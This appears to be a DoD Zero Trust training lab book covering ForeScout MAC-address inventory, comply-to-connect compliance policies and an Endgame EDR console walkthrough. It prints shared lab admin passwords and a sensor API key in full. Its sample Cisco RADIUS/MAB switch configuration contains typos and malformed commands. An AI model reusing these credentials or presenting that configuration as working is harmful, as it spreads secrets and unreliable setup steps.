The following DoD Activities will be covered to some extent in the following portion of this lab book and/or ZT Course Slides:

- Device Health Tool Gap Analysis
- NPE/PKI, Device under Management
- Enterprise IDP
- Implement C2C/Compliance Based Network Authorization

- Entity Activity Monitoring
- Implement Application Control & File Integrity Monitoring (FIM) Tools
- Integrate NextGen AV Tools with C2C
- Fully Integrate Device Security stack with C2C as appropriate
- Enterprise PKI Pt1
- Enterprise PKI Pt2
- Deny Device by Default Policy
- Managed and Limited BYOD & IOT Support
- Managed and Full BYOD & IOT Support
- Implement Asset, Vulnerability and Patch Management Tools
- Implement UEDM or equivalent Tools
- Enterprise Device Management
- Implement Endpoint Detection & Response (EDR) Tools and Integrate with C2C
- Implement Extended Detection & Response (XDR) Tools and Integrate with C2C

2.1 Devices Pillar Lesson 1 (Device Inventory)

Background

Per the DoD ZT Capabilities and Activities: DoD organizations establish and maintain a trusted inventory list of all devices authorized to access the network and enroll all devices on the network prior to network connection.

Prior to attempting the lab, please review Course Slides "Pillar 2 Devices Pillar".

Outcomes

- 1) The student will gain an understanding of device inventory techniques and will know the importance of device tracking.
- 2) Student will manually enter a device into a MAC address repository for initial device inventory authentication.

Lab Infrastructure

Required Lab Machines:

Function	Hostname	IP Address	VLAN	Passwords
Domain Controller	ZTLabDC1	10.91.0.10	91	DoD_Admin: ch00\$3tHeR3dP1ll!
Windows Student	ZTWinStudentXX	YourIP	91	

ForeScout	ZTLabForeScout	10.91.0.8	91	Admin: ch00\$3tHeR3dP1ll!

Duration: 30 Minutes

Task

2.1.1 Device Inventory with ForeScout CounterACT

Login to your Windows System as DoD_Admin with the password ch00\$3tHeR3dP1II!

Ensure you are logged into the Palo Alto Global Protect Gateway

We are going to utilize one of the most basic of device inventory techniques: MAC Address Inventory.

Open up the ForeScout Console 8.4.1 shortcut on your Desktop.



Next login: 10.91.0.8 username: admin password: ch00\$3tHeR3dP1II!

<) FORESCOUT	
Version 8.4	
IP/Name:	
10.91.0.8	
Login Method:	
Password 🗸 🗸	
User Name:	
admin	
Password:	26 <u>2</u> 6
••••••	
Remember this address and user name	
LOG IN	A I

If you receive a Customer Verification prompt, just choose "Ask me Later".

Once you login, you will be presented with the ForeScout application interface:

ForeScout Conso	le: Appliance	- admin	o conne	cted to 10.91.0.8 - License	: Valid for 254 days -	Licensed to USA	- USFK - C2C JL	A		
<u>F</u> ile <u>R</u> eports										
<) FORE	ESCO	UT.				🏫 Hom	ne	1.	Asset Inventory	圕
Views			«	All Hosts			Search		Q	Online\Offline ✓ [
Search		C	2	Host 👻	IPv4 Address	Segment	Comm	nent	MAC Address	Display Name
<) All Hosts (15)				 ZTZTWIN10STUD 	. 10.91.1.22	ZT			005056af6523	
> 📳 Policies				ZTZTLABDC1	10.91.0.10	ZT			005056af6f89	
> 🏦 History				• 10.91.1.23	10.91.1.23	ZT			005056af52eb	
				• 10.91.1.1	10.91.1.1	ZT				

There are a lot of functions within ForeScout that we will cover in further lab sections, but feel free to look around for a couple minutes before we move to the next step.

Click on the Tools menu at the top and select options

Fore	ForeScout Console: Appliance - admin connected to 10.91.0.8 - License									
<u>F</u> ile	<u>R</u> eports	<u>A</u> ctions	<u>T</u> ools	Log	Display	<u>H</u> elp				
			<u>O</u> ptions	i						
<)	FUR	ESU	<u>S</u> egmentManager							
			Organizational Units Manager							
View	s		<u>G</u> roup N	<u>G</u> roup Manager						
Sear	ch		Ignored IP Manager							
<) All I	Hosts (15)		Virtual Firewall							
> 📳 F	Policies		– Threat Protect <u>i</u> on							

Type MAC into the top left under Options and click on MAC Address Repository:

Options 10.91.0.8
Options
MAC
🛃 VMware vSphere
R RADIUS
R MAC Address Repository
é osx
⊘ Discovery

MAC Address Repository

Maintain the repository of MAC addresses of endpoints that do not have a functioning 802.1x supplicant and are authenticated, by the RADIUS Server, using MAC address bypass (MAB) Optionally, per MAC address entry in this repository, define an authorization that is imposed on the MAB-authenticated endpoint by the RADIUS Server. Possible authorizations include: Access Denial, VLAN Assignment and/or one or more attribute-value pair (AVP) assignments. When a MAC address entry does not have an authorization defined in the repository, the RADIUS server evaluates the Pre-Admission Authorization rules to authorize the MAB-authenticated endpoint.

Search	(2						
MAC Address 🗢	MAR Comment	Last Edited by	Authorization	Scheduled A	Scheduled Ti	Inactivity Action	Inactivity Tim	<u>A</u> dd
005056af6523		Manually by CounterAC	VLAN: 91;IsCOA: false					Edit

Now briefly look at the MAC addresses added into the repository and **clic**k on the **Add** button.

Add MAR Entry		×
Endpoint MAC Address	1	
Last Edited By		
MAR Comment		
Deny Access		
VLAN		
91		
Attribute Name	Attribute Value	Add
		Templ <u>a</u> tes
		Edit
	No items to display	Remove
Schedule Removal V		
 None (disable pre 		
	OK Cancel	

Type in your MAC Address of your Endpoint at the top. Choose Vian 91 and then Click on Templates and look at the different Cisco device templates. These templates are important if you input different voice devices or other non-standard devices for your MAC Address Repository (MAR).

Now **click** on the **OK** button and **click Apply** at the **bottom right and then close** the window.



NOTE: The preferred C2C implementation will include 802.1x with certificate based authentication with MAB failover due to the limited security functions that MAB provides.

This is just the initial configuration of the MAR in ForeScout, you will need to add additional switch configurations in order to get them to work in a production environment. An example of a Cisco Switch Configuration for MAB is as follows:

aaa new-model

aaa authentication dot1x default group radius local

aaa authorization exec default local group radius

aaa authorization network default group radius local

aaa accounting dot1x default start-stop group radius

aaa server radius dynamic-author

dot1x system-auth-control

radius-server host <ForeScout IP> auth-port 1812 acct-port 1813 key 0 <Radius Key>

radius-server dead-criteria time 10 tries 1

radius-server souce-ports extended

radius-server deadtime 30

radius-server attribute 32 include-in-access-req

radius-server vsa send cisco-nas-port

aaa server radius dynamic-autor

client <ForeScout IP> server-key 0 <Radius Key>

auth-type all

errdisable recover cause security-violation

errdisable recovery internal 30

(Provided by CW2 Sam Hart)

Next, go to the ForeScout Home Section:

<) FORESCOUT		🟫 Home	
Views	~	All Hosts	
Search	Q	Host 👻 🛛 I	Pv4,
<) All Hosts (16)		ZTVZTWINSTU 1	0.91.

On the left hand side, scroll until you see the **policies button**, **double click** it and then **click MAC Address Verification Rule** and then **double click** on it to see the two sections below it.

~ 🕨	MAC Address Verfication Rule (16)
	MAC Address In MAR (4)
	Rogue Devices (12)

Click on the MAC Address in MAR

MAC Address Verfication Rule >				Q
	Host 🔻	IPv4 Address	Segment	Policy MAC Ad Comment Display Swite
•	ZT/ZTWINSTUDENT02	10.91.1.23	ZT	🚉 MAC 005056af
•	ZT/ZTWINSTUDENT00	10.91.1.30	ZT	🚉 MAC 005056af
+	ZTZTWIN10STUDENT1	10.91.1.22	ZT	良 MAC 005056af
•	ZT/ZTLABDC1	10.91.0.10	ZT	良 MAC 005056af
•	10.91.0.8	10.91.0.8	ZT	🚉 MAC 005056af

Your system should be listed as compliant with its MAC Address successfully added.

This is an initial Comply to Connect Check to validate that your system is within the appropriate Device Inventory.

One easier method to adding a system to the MAR would be to right click on a system in the Hosts section of ForeScout and click on 802.1x Update MAR.

🗎 Export Table		
🛃 Manage	>	🔁 802.1x Update MAR
		• •••••

You will now be given the option to add a description or summary to the device you are adding.

You can also use this Update MAR function to automatically add systems to the MAR if they meet very specific criteria to be a member of your organization.

Spe	ify 802.1x Update MAR parameters		×
The N authe This a	IAC Address Repository (MAR) ma ntication and access assignment in action either adds endpoints to the N	inager contains MAC addresses, and hstructions. MAR, or updates existing information.	related
Pa	rameters Schedule		
•	dd/Update MAR		
- F	Remove from MAR		
	Authorization Parameters		
	Deny Access		
	/LAN		
	Attribute Name	Attribute Value	Add
-			
			OK Cancel
Spe	cify 802.1x Update MAR parameters		×
The	1AC Address Repository (MAR) ma	anager contains MAC addresses, and	related
authe	ntication and access assignment in	nstructions.	
This	action either adds endpoints to the l	MAR, or updates existing information.	
Pa	rameters Cabadula		
	Schedule		
	Apply authorization settings to n	new entries only	
~	Set Comment		
	Windows Client Verified		
	thindotto bilont t chilod		

In this task, you learned basic device inventory and configuration of a MAR. The bottom line, is that in order to operate within Zero Trust principles, you must have a full inventory of all devices in your environment and a method of authorizing them. MAR is a basic solution that can be effective, but it needs additional compliance checks and authorization checks to fully validate the system, as MAC alone is not good enough because it can be spoofed with ease.

2.2 Devices Pillar Lesson 2 (Device Detection and Compliance)

Background

Per the DoD ZT Capabilities and Activities: DoD organizations employ asset management systems for user devices to maintain and report on IT compliance. Any device (including mobile, IOT, managed, and unmanaged) attempting to connect to a DoD network or access a DAAS resource is detected and has its compliance status confirmed (via C2C).

Prior to attempting the lab, please review Course Slides "Pillar 2 Devices Pillar".

Outcomes

- 1) The student will gain an understanding of device detection techniques and will know the importance of device detection.
- 2) Student will create or review compliance policies within ForeScout to assess the compliance of a device.

Lab Infrastructure

Required Lab Machines:

Function	Hostname	IP Address	VLAN	Passwords
Domain Controller	ZTLabDC1	10.91.0.10	91	DoD_Admin: ch00\$3tHeR3dP1ll!
Windows Student	ZTWinStudentXX	YourIP	91	
ForeScout	ZTLabForeScout	10.91.0.8	91	Admin: ch00\$3tHeR3dP1ll!

Duration: 30 Minutes

Task

2.2.1 Device Detection with ForeScout

Login to your Windows Machine as DoD_Admin with the password ch00\$3tHeR3dP1II!

Open the **ForeScout Console** that you opened in lab 2.1.

Next, click on Tools and Options as you did in the previous lab.

Click on Channels, and then Traffic and then on Eth1

Options 10.91.0.8						-
Options						
Search Channels > = Appliance A channel is a pair A monitor interf Make sure the phy VLAN discovery and the phy VLAN discovery and the phy VLAN discovery and the switch Image: Switch Image: Channel i with the phy VLAN discovery and t	r of monitor and response interfa ace examines traffic going throu- rsical connections made at the D fter channel configuration might VLAN V Traffic 0 O Monitor VL *	aces used by the CounterACT Ap Igh the network and a response Data Center match the logical cha take a few moments. Use DHCP by Default Traffic Mirrored Tra	pliance to interact with the interface generates traff annel setting below and that Symmetric #Hosts	network. ic back to the network. t your network traffic is seer Response V Tra	n. uffic Response	IP A
IOC Scanner IOC Scanner	fic					×
Guest Management	All Hosts (3) VLAN ID * eth0 (1) 20 eth1 (8) 42	Total Traffic 1 Kbps 152 Kbps	Mirrored 0 % 71.87 %	Unicast 0 % 0 %	Broadcast 100.00 % 28.13 %	
 Posture Assessment En; Flow Collector 	eth2 (1) 43 45 77	108 Kbps 1 Kbps 0.18 Kbps	100.00 % 0 % 100.00 %	0% 0%	0 % 100.00 % 0 %	
Azure	91	13,424 Kbps	100.00 %	0 %	0 %	
Microsoft SCCM/ECM	255	25 Kbps	100.00 %	0 %	0 %	
VPN VVIware NSX RADIUS					OK Cano	cel

You can see all the different VLANs that are being monitored in the channels section.

ForeScout has three separate NIC's, one is used for management, one is used for scanning the network for devices and one is used to sniff on a spanning port to detect all IP addresses and VLANs that are sending traffic within an environment. This setup allows ForeScout to detect all devices in an environment that are transmitting traffic or that have listening ports available.

Click on Cancel and then Close the Options Window.

Next go to Tools and Select Segment Manager.


Segment Manager						
SegmentManager						
Jse this option to organize your n Once defined, you can: Filter detections at the Informa Use segments when working a Generate reports organized pe Assign segments to a specific	etwork into lo tion Panel pe at the Consol er segment. geographic lo	gical categori er segment. e, e.g. create : ocation. Use ti	es - for example, : a policy that block nis option when w	sales, finance and r s Internet access to orking with the site	research departments. endpoints in the finance depar map.	tment.
+ 💼 📭 🗄 世	De	escription				
Search	Q L	ocation				
Segments	(No location				
ð∛ ZT		Cocation			+ Add	
	R: N	ange ote: Endpoii e Passive I	nts that are sen	sitive to network	connections should be pla	aced in
	R: N th	ange ote: Endpoin e Passive L Search	nts that are sen earning group	sitive to network before you add t	c connections should be pla them to a segment.	aced in ients
	R: N th	ange ote: Endpoin e Passive L Search Path	nts that are sen earning group Segment ^	sitive to network before you add t Q Description	c connections should be pla them to a segment. Show sub-segm Range	aced in ents <u>A</u> dd
	R N th F Z	ange ote: Endpoil e Passive L Search Path T/	nts that are sen earning group Segment A ZT	sitive to network before you add t Q Description	c connections should be plat them to a segment. Show sub-segm Range 10.91.0.0-10.91.10.255	aced in eents <u>A</u> dd <u>E</u> dit
	R N th F Z	ange ote: Endpoil e Passive L Search Path T/	nts that are sen earning group Segment ^ ZT	sitive to network before you add t Q Description	c connections should be pla them to a segment. Show sub-segm Range 10.91.0.0-10.91.10.255	aced in eents <u>A</u> dd Edit Remove
	R N th 72	ange ote: Endpoil e Passive L Search Path T/	nts that are sen earning group Segment ♠ ZT	sitive to network before you add t Q Description	c connections should be pla them to a segment. Show sub-segm Range 10.91.0.0-10.91.10.255	aced in eents <u>A</u> dd Edit Remove

Click on the ZT segment on the left and look at the IP range within scope.

It is important to only put IP ranges in the Range that belong to you. These are the IP ranges that ForeScout will conduct NMAP scans against. Don't modify the range as this is the lab range, but just look at it and know that this location is important to configure correctly with your latest IP scope that you own.

Also, it is important to know that NMAP scans will be conducted against these devices, so if you have ranges that are sensitive to NMAP scans, put them in the passive learning group before putting them here. Note: Ensure you highlight All Segments after this lab, or you will have issues seeing systems.



Click Cancel and look at the main interface.

Sores	O ForeScout Console: Appliance - admin connected to 10.91.0.8 - License: Valid for 254 days - Licensed to USA - USFK - C2C JLA												
<u>F</u> ile	<u>R</u> eports	<u>A</u> ctions	<u>T</u> ools	<u>L</u> og	Disp	olay <u>H</u> elp							
<)	FOR	ESCO	DUT	•						Home		F	Asset Inventory
Views	5			«	All	Hosts				Searc	h		Q
Searc	h		(Q		Host 🔻	1	IPv4 Address	Segmer	nt	Comment		MAC Address
<) All H	losts (15)				• Z	TZTWIN10ST	UD 1	0.91.1.22	ZT				005056af6523
> 📳 P	olicies				• z	TZTLABDC1	1	0.91.0.10	ZT				005056af6f89
> <u></u> н	istory				• 1	0.91.1.23	1	0.91.1.23	ZT				005056af52eb

The main interface lists the total number of hosts detected by the three NICs within ForeScout and lets you know all of the assets within your identified IP address scope.

It is critical while implementing ZT to always detect and force authenticate all devices in your environment.

Stay logged into ForeScout for the next 2.2.2 lab.

2.2.2 Comply to Connect with ForeScout

Open Firefox and **browse** to <u>https://10.91.0.8/sc</u> (This is the ForeScout console link to install Secure Connector)



Don't install SecureConnector as it is already installed on your system, but just know that this agent is needed for secure communications between each client and the ForeScout server for comply to connect policies and other ForeScout actions.

We are going to configure three Comply to Connect sample policies that combine to validate whether a system is in compliance or not.

Login to the ForeScout Console if you aren't currently logged in. Click on the Policy Tab.

🟫 Home	Asset Inventory	Policy

Scroll down until you see Windows Build Validation Compliance Checks.

\sim Windows Build Validation Compliance Checks	Compliance	Complete	All IPv4,All IPv6	Windows Domain M
Windows Build Version Valid	Compliant			Windows File Exists
All Others	Not Compliant			No Conditions

This policy is used to validate a build version (For example, latest AGM Build).

Now click the Edit button on the right with the policy highlighted.

Policy: 'W	indows Bu	ild Validation Cor	mpliance Ch	ecks' -				\times
Name Name Description	Windo None.	ws Build Validati	on Complia	nce Checks	5		Edit	
Scope								
IP Ranges	AILIPV	4,All IPv6					Edit	
Filter by Grou	ip None.							
Exceptions	None.							
Main Rul	е							
Conditions		Actions		Re-check	Matched		Edit	
Windows Do	main Mer	m		Every 8 h	ours, All admi			
Sub-Rule	€S							
Name		Conditions	Actions		Exceptions		Add	
1 Wind	ows Build	\Windows File E	×i				Edit	
2 All Ot	hers	No Conditions					<u>R</u> emove	
							<u>D</u> uplicate	
							Up	
							Down	
					Help	oĸ	Cance	1

The Main Rule identifies which Systems this applies to. In our example, we are choosing this policy specifically for Windows Domain Member systems and we Recheck for policies every 8 hours.

There are two Sub-Rules. The first identifies the conditions we are looking for with compliance, the second rule is just a catch-all that catches everything that doesn't hit the first rule.

Forescout policies are similar to firewall ACLs. Once a rule is triggered, it no longer passes to the next rule.

Click on the Windows Build Version Sub-Rule and click Edit:

Policy: 'Windows Build Validation Compliance Check	s'>Sub-Rule: 'Wind	dows Build ×
Name Windows Build Version Valid	_	Edit
Description None.		
Condition		
A host matches this rule if it meets the following condition	on:	
All criteria are True 🗸	89 8	30
Criteria		Add
Windows File Exists File Name (full path):C:\AGM\Build	a.txt	<u>E</u> dit
		Remove
Actions		
Actions are applied to nosts matching the above condit	ion.	Add
Ena Action	Details	Add
		Edit
No items to display		<u>R</u> emove
Advanced		
Recheck match Every 8 hours, All admissions	_	
Exceptions None.		Ealt
	<u>H</u> elp OK	Cancel

As you can see from the rule, if a file exists in the path C:\AGM\Build.txt then your system is compliant. This is a very simple method of compliance checks, but you could create a file in a strange location to validate compliance in a location that adversaries would not know existed, creating an additional level of magnitude for compliance testing.

Now, **click cancel** and **close out of the policy windows** until you are back in the policy menu and **select and edit the next policy, Windows Endgame Compliance Checks**:

Policy: 'Win	dows Endg	ame Compliance	Checks' -					\times
Name Windows Endgame Compliance Checks Ed Description None.								
Scope IP Ranges Filter by Group Exceptions	All IPv4,A None. None.	.ll IPv6					<u>E</u> dit	I
Main Rule	•							
Conditions		Actions		Re-check	Matched		<u>E</u> dit	
Sub-Rules	6	-		2.00,000				
Name	C	onditions	Actions		Exceptions		<u>A</u> dd	
1 Endga	me Com; W	/indows Servic					<u>E</u> dit	
2 All Oth	ers N	o Conditions					<u>R</u> emove	
							<u>D</u> uplicate	
							Up	
							D <u>o</u> wn	

Select Sub-Rule 1, Endgame Compliance Checks and press edit.

Policy: 'Windows Endgame Compliance Checks'	->Sub-Rule: 'Endgame Complianc 🗙
Name Endgame Compliance Check Description None.	Edit
Condition	
A host matches this rule if it meets the following con	idition:
All criteria are True 🗸 🗸	89 83
Criteria	<u>A</u> dd
Windows Services Running(Service Name) - Match	nes esensor Edit
	Remove
Actions Actions are applied to hosts matching the above con	ndition.
Ena Action	Details <u>A</u> dd
No items to display	<u>E</u> dit <u>R</u> emove
Advanced Recheck match Every 8 hours, All admissions Exceptions None.	Edit

The condition here, is that if there is a service running called "esensor", then you are compliant. This refers to the Endgame service.

Press cancel and close out the windows until you get back to the Policy menu and choose the final policy, Windows SecureConnector Compliance Checks and press Edit.

Look at the Rules and Sub-Rules again and you will see that it is checking for the installation of the latest SecureConnector agent on each system.

Press cancel and close all windows and get back to the Policy Menu.

At this point, keep the **Windows SecureConnector policy highlighted** and **click on Categorize**:

Oategorize: 'Windows SecureConnector Compliance Checks'							
Policies that are categorized are used when working with:							
 Compliance a Dashboard ForeScout Cor Site Map Compliance S Corporate/Gue 	nd Corporate/Guest npliance Center atus property st Status property	policy folders					
Categorize this policy	Compliance	~					
Sub Rule	Label						
SecureConnector Ins	alled Complia	ant					
All Others	Not Cor	npliant					
			_				
				ок	Cancel		

You can see that this policy is categorized as a Compliance policy. If you want the policy to be directly related to Comply-to-Connect (C2C) then you need to select that option.

The categorization also allows you to choose which rules match compliant, and which rules match as non-compliant. As mentioned above, we place the SecureConnector rule as a match, and the All Others sub rule as a non-match, so a non-match means the system is non-compliant.

You can do the opposite, where if you identify certain aspects of a system, they become non-compliant, and non-findings are compliant, but we aren't going to cover those in this lab.

Press Cancel and click on the Home button:



Click on **Compliance underneath Policies** and you will see it list all systems that are either Not Compliant or Compliant. You will see the status of all systems based on the combination of all of your C2C policies. If a single policy comes up as Not Compliant, then they will be listed as Not Compliant.

					· · · ·	
<) All Hosts (14)	•	ZTZTWINSTUD	10.91.1.23	ZT	良 Not Compliant	005056af52eb
N III Policios						
* 18 Folicies	•	ZTZTWIN10ST	10.91.1.22	ZT	🖡 Compliant	005056af6523
A Compliance					EA	
Ev Compliance	•	ZT/ZTLABDC1	10.91.0.10	ZT	良 Not Compliant	005056af6f89
					EV	

If your system is listed as Compliant you can experiment with policies by renaming your C:\AGM\Build.txt to something else, rechecking policies and then changing it back to show how C2C can check changes.

If your system is listed as Not Compliant, click on your system and then click on the Compliance Tab Below:

 ztyztwi 	NSTUDENT00	10.91.1 ZT	良 Not Compliant	005056				
 ZT/ZTWI 	N10STUDENT1	10.91.1 ZT	良 Not Compliant	005056				
ZTZTLA	BDC1	10.91.0 ZT	良 Not Compliant	005056				
• 10.91.1.	60	10.91.1 ZT	良 Not Compliant					
• 10.91.1.	1	10.91.1.1 ZT	良 Compliant	d41d71				
• 10.91.0.	8	10.91.0.8 ZT	良 Compliant	005056				
• 10.91.0.	7	10.91.0.7 ZT	良 Not Compliant					
• 10.91.0.	6	10.91.0.6 ZT	良 Not Compliant					
- 40.04.0	-	10 91 0 5 7T	🔍 Not Compliant					
• 10.91.0.	0	10.51.0.0 21	Ex Hot complant					
Profile	Compliance All P User: d Professio	iolicies lod_admin IPv4 Ad	dress: 10.91.1.30 Ho	ostname: :	ZTWINSTU	DENT00	Operat	ing {
Profile	Compliance All P User: d Professio MAC Ad	olicies lod_admin IPv4 Ad onal ddress: 005056af1f	dress: 10.91.1.30 Ho db Domain: ZT Fur	ostname: : nction: Wo	ZTWINSTU	DENT00	Operat	ing {
Profile	Compliance All P User: d Professie MAC Ad Compliant Policy	iolicies lod_admin IPv4 Ad onal ddress: 005056af1f	dress: 10.91.1.30 Ho db Domain: ZT Fur Issues	ostname: : nction: Wo	ZTWINSTU rkstation Acti	DENTOO	Operat tected At	ing {
Not C Status	Dompliance All P User: d Professio MAC Address Verfice	iolicies lod_admin IPv4 Ad onal ddress: 005056af1f	dress: 10.91.1.30 Ho db Domain: ZT Fur Issues MAC Address	nction: Wo	ZTWINSTU rkstation Action None	DENT00 on De 3 02/	Operat tected At	ing \$
Not C Status	Compliance All P User: d Professie MAC Ad Compliant Policy MAC Address Verfica Windows Build Valid	tolicies tod_admin IPv4 Ad onal ddress: 005056af1f ation Rule	dress: 10.91.1.30 Ho db Domain: 2T Fur Issues MAC Address ecks Windows Build	ostname: : nction: Wo In MAR d Version Va	ZTWINSTU rkstation Acti None	DENT00 on De a 02/ a 02/	Operat tected At 10, 15:20:3	ing \$

In the above screenshot, the system is listed as Not Compliant, and when clicking on the Compliance Tab, you can see that the Windows Endgame Compliance Checks failed.

If you have time, create an additional C2C policy to experiment but make sure to delete the policy you created after the lab is over.

In this lab, you learned how to create C2C policies and utilize ForeScout to detect systems.

2.3 Devices Pillar Lesson 3 (Device Authorization with Real Time Inspection) (Future Course)

Future Course

2.4 Devices Pillar Lesson 4 (Remote Access) (Future Course)

Future Course

2.5 Devices Pillar Lesson 5 (Partially & Fully Automated Asset, Vulnerability and Patch Management) (Future Course)

Future Course

2.6 Devices Pillar Lesson 6 (Unified Endpoint Management (UEM) & Mobile Device Management (MDM)) (Future Course)

Future Course

2.7 Devices Pillar Lesson 7 (Endpoint & Extended Detection & Response (EDR & XDR))

Background

Per the DoD ZT Capabilities and Activities: DoD organizations use EDR tools to monitor, detect, and remediate malicious activity on endpoints as a baseline. Upgrading to XDR tools allows organizations to account for activity beyond the endpoints.

Prior to attempting the lab, please review Course Slides "Pillar 2 Devices Pillar".

Outcomes

- 1) The student will gain an understanding of Endpoint Detection and Response Capabilities.
- 2) Student will trigger malicious alerts and review the activity utilizing an EDR/XDR solution.

Lab Infrastructure

Required Lab Machines:

Function	Hostname	IP Address	VLAN	Passwords
Domain Controller	ZTLabDC1	10.91.0.10	91	DoD_Admin: ch00\$3tHeR3dP1ll!
Windows Student	ZTWinStudentXX	YourIP	91	
EndGame	ZTLabForeScout	10.91.0.3	91	admin: ch00\$3tHeR3dP1ll!
Student Kali	Your Hostname	YourIP	91	Your Password

Duration: 30 Minutes

Task

2.7.1 EDR/XDR Solution Overview

Login to your Windows Student Client with the username ZT\DoD_Admin and the password: ch00\$3tHeR3dP1II!

Open FireFox and browse to https://10.91.0.3

Click **Details** and **Go on to the webpage**

Login to Endgame as **admin** with the password of **ch00\$3tHeR3dP1II**!



Click on the Administration button on the bottom left and then click on sensor.

Administration						
POLICY RULES	USER	SENSOR	STREAMING	EXCEPTIONLIST	BLOCKLIST	TRUSTED APPLICATIC
Create New Se	nsor Profile	,				
SENSOR NAME		VERSIO	N NUMBER	POLICY	API K	EY
windows_baseline_	sensor	3.59.2		windows_detect_or	nly 0AF6	1CE25B0544574917

Click on the Download Profile link and copy the API key

Save the .zip file to your Desktop

I

Next open up **PowerShell as an administrator** and **change directory** to the **Desktop**

Right click the **zip** installer file and **extract** it to the **Desktop**.

Change directories to the SensorInstaller-windows_baseline_sensor\windows directory.

Type .\SensorWindowsInstaller-windows-baseline_sensor.exe –h for command line optoins

Type the following command: .\SensorWindowsInstallerwindows_baseline_sensor.exe -c .\SensorWindowsInstaller-windowsbaseline_sensor.cfg -k 0AF61CE25B0544574917 -f

PS C:\Users\DoD_Admin\Desktop\SensorInstaller-windows_baseline_sensor\windows> .\<mark>SensorWindowsInstaller-windows_baseline</mark> _sensor.exe -c .\SensorWindowsInstaller-windows_baseline_sensor.cfg -k 0AF61CE25B0544574917 -f

Next, Go back to the Endgame Dashboard Main Page.



The Dashboard shows the total number of Endpoints, Alerts, and the Endpoint status as well as Operating System information. This gives you a great starting point to get after events.

Next, click on Endpoints:

Е.	Endpoint Das	hboard ownload CSV						2	💬 Ask Artemis	A W	/elcome, Sup ec 19, 2022 9:1
۲	2 Ali	2 Windows	Ap Po All	ply licy ▶	More Actions Aĭ ▶						
• • •	2 Total २०	2 Active	0 Inactive	0 Unmonitored	0 Isolated						
-	GROUPS	0 - 0	of 0 <>	0 endp	Create Group oints currently selected ∽						
\$	You have	n't created any gro	ups yet.		ENDPOINT NAME	IP ADDRESS	OPERATING SYSTEM	POLICY	<u>SENSO</u>	R VERSION	ALERTS
	Select endpoint:	s and circk "Create started.	oroup to get		Active since 07:26 PM UTC ZTWinStudent02 Active since Nov 18, 2022	10.91.1.22	Windows 10 (v1809) Windows 10 (v1809)	Successful windows_d windows_d successful	letect_only 3.59.2 letect_only 3.59.2 l 3.59.2		7

This shows the list of Endpoints, their operating systems, their policy, and the number of alerts that each endpoint has. It allows you to create custom groups based on different policy needs, such as different mission command systems.

Next click on Alerts:

E.	Alert Dashboard				(?) 😨 Ask Artem			per 25 PM UTC
	Threats 4 <u>View All</u>	<u>3</u> Unrea <u>Q</u> Assign	d ned To Me	Adversary Behaviors 4 <u>View All</u>	<u>0</u> 0	Unread Assigned To Me	3 0 To M <u>View</u>	Total Unread Total Assigne e <u>All Alerts</u>
	Most Recent Threats					Most Infected Endpoints		
	ALERT TYPE	HOSTNAME	ASSIGNEE	DATE CREATED		ALERT COUNT	HOSTNAME	
•	Malicious File	ZTWIN10Student1	Unassigned	Dec 19, 2022 8:39:32 PM UTC		7	ZTWIN10Student1	
	Malicious File	ZTWIN10Student1	Unassigned	Dec 19, 2022 8:39:32 PM UTC		1	ZTWinStudent02	

The alerts shows Threats and Adversary Behaviors and how many events have triggered.

It also shows the Most recent threats by type and by system and time.

Threats are typically Malware events, process injection events, and have a very high likelihood of being malicious. Adversary behaviors are based on behavior that an adversary may take through the different Mitre ATT&CK actions. Some of these behaviors may end up being false positives due to administrator activity, but these adversary behaviors are very helpful in detecting adversaries, especially if they design highly complex malware that bypasses detection.

Next, click on the Investigations Tab:

Е.	Inves	tigation	Dashboard					?	Ask Artemis	Welcome, Supe Dec 20, 2022 1:35
0	ĺ	0 Current	Archived		Assign Investigations Gurrent ►	Archive Investigations Current ►	How to Start an Investigation Viev ▶			
••••		0 Hunts	0 Queries रू	0 Total 👁						
:	0 inves	stigations (currently selecto	ed ∨	AS	SIGNEE	INVESTIGATION BREAKDOWN		ENDPOINTS	DATE CREATED
\$							There are no results			
										Last Updated: Dec 20, 2022 1

The investigations dashboard shows all recent investigations and allows you to conduct hunts in your environment against all Endpoints.

Next click on the Administration tab:

Е.	Administration							?	💬 Ask	Artemis	A	Welcome, S Dec 20, 2022
Ø	POLICY RULES US	ER SENSOR	STREAMING	EXCEPTIONLIST	BLOCKLIST	TRUSTED APPLICATIONS	PLATFORM	DEPLOY	MENT CONSEN	Т		
	Create New Policy											
	NAME	TOTAL	PENDING	FAILED	CREATED BY	DATE CREATED		LAST	UPDATED BY	LAST	UPDATED	
4	Default	0	• 0	• 0		Oct 13, 2022 2:08:26	PM UTC			Oct 1	3, 2022 2:0	9:11 PM UTC
÷1	windows_detect_only	2	• 0	• 0	Super Admin	Oct 13, 2022 5:57:26	PM UTC	Super	Admin	Oct 2	1, 2022 2 :3	33:40 PM UTC
\$ -												

Click on the **windows_detect_only policy**. In our labs, we will be using a detect only policy, but in production, you will want to utilize a prevention policy after you have done testing in detection mode.

Е.	windows_detect_only		?	C Ask Artemis	Welcome, Super Dec 20, 2022 2:16 PM UTC
0	THREATS ADVERSARY BEHAVIOR				Discard Changes Save and Apply
	Blocklist	All V Protection Integnoid All V			
** *	Credential Access Exploit	BLOCKLIST			Windows Recommended
*	Malware Privilege Escalation	On Execution			
.	Process Injection Ransomware	On Write			
		Credential Access			
		CREDENTIAL DUMPING			Windows Aggressive
		Credential Dumping			

There is a Threats menu and an Adversary Behaviors menu that match to the categories as described earlier.

Scroll to process injection and click on the button that looks like volume controls next to the process injection button.

Process Injection	
PROCESS INJECTION	Windows Recommended
Process Injection	

Action Protection Options Collection Options Detect Allow self injection Collect Strings Collect injected code (advanced) Enable advanced detection Detect command line spoofing (Beta) 	Process Injection		
Action Protection Options Collection Options Detect Allow self injection Collect Strings Prevent Detect DLL injection Collect injected code (advanced) Enable advanced detection Detect command line spoofing (Beta) Detect command line spoofing (Beta)	PROCESS INJECT	ΙΟΝ	
Action Protection Options Collection Options • Detect Allow self injection I Collect Strings • Prevent Detect DLL injection I Collect injected code (advanced) • Enable advanced detection Detect command line spoofing (Beta)	III Process Inject	ion Configuration	
Detect Allow self injection Collect Strings Collect Strings Collect injected code (advanced) Enable advanced detection Detect command line spoofing (Beta)	Action	Protection Options	Collection Options
Prevent Detect DLL injection Collect injected code (advanced) Enable advanced detection Detect command line spoofing (Beta) 	Detect	Allow self injection	✓ Collect Strings
Enable advanced detection Detect command line spoofing (Beta)	Prevent	✓ Detect DLL injection	 Collect injected code (advanced)
Detect command line spoofing (Beta)		 Enable advanced detection 	
		Detect command line spoofing ((Beta)
	Done		

This allows you to select the action (detect, prevent) and it allows you to customize protection options.

